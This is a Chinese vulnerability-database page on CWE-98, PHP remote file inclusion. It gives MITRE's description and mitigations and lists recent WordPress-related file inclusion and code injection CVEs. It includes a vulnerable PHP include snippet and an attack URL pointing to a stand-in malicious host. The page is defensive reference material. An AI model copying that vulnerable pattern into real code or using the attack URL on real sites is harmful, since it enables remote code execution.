目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1359 元

100%
请我们喝杯咖啡

CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) 类漏洞列表 1309

CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) 类弱点 1309 条 CVE 漏洞汇总，含 AI 中文分析。

CWE-98是PHP远程文件包含漏洞，源于程序未严格限制包含语句中的文件名输入。攻击者常通过构造恶意URL，诱导服务器加载并执行远程恶意代码，从而获取系统控制权。开发者应避免直接使用用户输入作为包含路径，需实施严格的白名单校验，禁用远程文件包含功能，并确保输入经过充分净化，以阻断此类攻击路径。

MITRE CWE 官方描述
CWE：CWE-98 PHP程序中包含/要求语句的文件名控制不当（'PHP远程文件包含'） 英文：PHP应用程序从上游组件接收输入，但在将其用于“require”、“include”或类似函数之前，未对输入进行限制或限制不正确。 在某些版本的PHP及其配置中，这允许攻击者指定一个指向远程位置的URL，产品将从该位置获取要执行的代码。在其他与路径遍历相关的情况下，攻击者可以指定一个可能包含可由PHP解析的可执行语句的本地文件。
常见影响 (1)
Integrity, Confidentiality, Availability Execute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
缓解措施 (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
代码示例 (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE ID 标题 CVSS 风险等级 Published
CVE-2026-48194 WordPress DukaMarket主题1.3.0及以下本地文件包含漏洞 — DukaMarket 8.1 High 2026-10-10
CVE-2026-48193 WordPress Uminex主题<=1.0.9本地文件包含漏洞 — Uminex 8.1 High 2026-10-10
CVE-2026-42777 WordPress Aalto主题<=1.8 本地文件包含漏洞 — Aalto 8.1 High 2026-10-10
CVE-2026-42724 WordPress CleanSkin主题<=1.5.0本地文件包含漏洞 — CleanSkin 8.1 High 2026-10-10
CVE-2026-42704 WordPress Kids Care 主题 <=3.2.4 本地文件包含漏洞 — Kids Care 8.1 High 2026-10-10
CVE-2026-104899 GeoDirectory <= 2.8.187 未授权本地文件包含漏洞 — GeoDirectory – WP Business Directory Plugin and Classified Listings Directory 8.1 High 2026-10-10
CVE-2026-94067 WordPress The Voux主题 <= 6.9.5 本地文件包含漏洞 — The Voux 8.1 High 2026-10-09
CVE-2026-94062 WordPress Werkstatt主题 <= 4.8.3 本地文件包含漏洞 — Werkstatt 8.1 High 2026-10-09
CVE-2026-75028 WPCafe <=3.0.18 本地文件包含漏洞 — WPCafe – Restaurant Menu, Online Food Ordering & Table Booking System 7.5 High 2026-10-03
CVE-2026-92174 SiteOrigin Widgets Bundle <=1.73.2 本地文件包含漏洞 — SiteOrigin Widgets Bundle 7.5 High 2026-10-02
CVE-2026-96837 WordPress CartFlows 3.2.0 远程代码执行漏洞 — CartFlows 8.8 High 2026-09-30
CVE-2026-89294 Simply Schedule 1.6.12.27 本地文件包含漏洞 — Simply Schedule Appointments 7.5 High 2026-09-30
CVE-2026-39353 InvoicePlane 远程代码执行漏洞 — InvoicePlane 9.1 Critical 2026-09-25
CVE-2026-13456 WP Maps <= 4.9.8 通过 'page' 参数的认证本地文件包含漏洞 — WP Maps – Google Maps, OpenStreetMap, Mapbox, Store Locator with Search, Filters & Listings 7.5 High 2026-09-25
CVE-2026-12227 Visual Composer Website Builder 远程本地文件包含漏洞 — Visual Composer Website Builder 9.8 Critical 2026-09-24
CVE-2026-87902 WordPress 6.7.1 get_page_template 本地文件包含 — WordPress - - 2026-09-22
CVE-2026-9231 WP Travel Engine 6.8.0 远程文件包含漏洞 — WP Travel Engine – Tour Booking Plugin – Tour Operator Software 7.5 High 2026-09-22
CVE-2026-92969 HUSKY 1.4.4 未认证本地文件包含漏洞 — HUSKY – Products Filter for WooCommerce Professional 8.1 High 2026-09-22
CVE-2026-27556 index.php 本地文件包含漏洞 — ICE2-8IOL1-G65L-V1D 8.8 High 2026-09-16
CVE-2026-27555 index.php 本地文件包含漏洞 — ICE2-8IOL1-G65L-V1D 8.8 High 2026-09-16
CVE-2026-85200 WordPress GEO my WP 代码注入漏洞 — GEO my WP 7.5 High 2026-09-12
CVE-2026-87927 MaxSite CMS 代码注入漏洞 — MaxSite CMS 8.2 High 2026-09-09
CVE-2026-15667 WordPress Eventin 代码注入漏洞 — Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce 7.5 High 2026-09-09
CVE-2026-15406 WordPress Eventin 代码注入漏洞 — Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce 7.5 High 2026-09-09
CVE-2026-11613 Divi Engine Divi Ajax Filter 代码注入漏洞 — Divi Ajax Filter 9.8 Critical 2026-09-04
CVE-2026-78478 Elated-Themes Mane 代码注入漏洞 — Mane 8.1 High 2026-08-25
CVE-2026-14280 WordPress Events Manager 代码注入漏洞 — Events Manager – Calendar, Bookings, Tickets, and more! 6.6 Medium 2026-08-25
CVE-2026-32560 LiquidThemes MagicAI for WordPress 代码注入漏洞 — MagicAI for WordPress - AI Text, Image, Chat, Code, and Voice Generator 8.8 High 2026-08-24
CVE-2026-66670 WordPress Måne 代码注入漏洞 — Måne 8.1 High 2026-08-24
CVE-2026-66587 WordPress WPCafe Pro 代码注入漏洞 — WP Cafe Pro 9.8 Critical 2026-08-24

CWE-98（PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)） 是常见的弱点类别，本平台收录该类弱点关联的 1309 条 CVE 漏洞。